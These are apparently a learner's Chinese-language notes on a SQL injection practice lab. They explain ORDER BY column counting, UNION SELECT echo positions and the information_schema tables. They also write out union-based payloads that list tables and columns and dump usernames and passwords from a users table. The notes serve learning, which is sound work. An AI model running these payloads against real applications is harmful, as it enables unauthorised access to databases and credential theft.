默认已经掌握流程,主要疏通一下自己未曾理解的点
①:order by: 是进行排序的意思,将数据库里面的元素进行排序
order by 1:根据第一列中的数据进行排
如果要是不存在指定列就会报错,因此可以用来进行报字段,即列数
②:关于union select 1,2,3:这里由于数据库的特性,一张mysql执行语句图片即可说明:
因此,如果让对应id进行错误查询,即赋值为-1,就可以在对应位置回显相应的数字信息。至于回显哪几个数字,我想应该和源代码有关系,就比如本题源代码,是处理了相应的password和username:
③:在进行收集信息的时候注意mysql高版本自带的一个数据库 information_schema
同时还有几个需要注意的:
Information_schema.columns:记录所有列名信息的表
Information_schema.tables:记录所有表名信息的表
Table_name:表名
Column_name:列名
Table_schema:数据库名
④:通过查询到数据库名可以构造payload来进行获取更多的信息:
查询指定数据库下的所有表名:
Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+
接着查询指定数据库下所有列名:
Union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’user’--+ (这个引号注意一下,直接赋值粘贴不行)
由列名进行推导,猜测指定列
Union select 1,group_concat(username),group_concat(password) from security.users--+
⑤:闯关成功!!!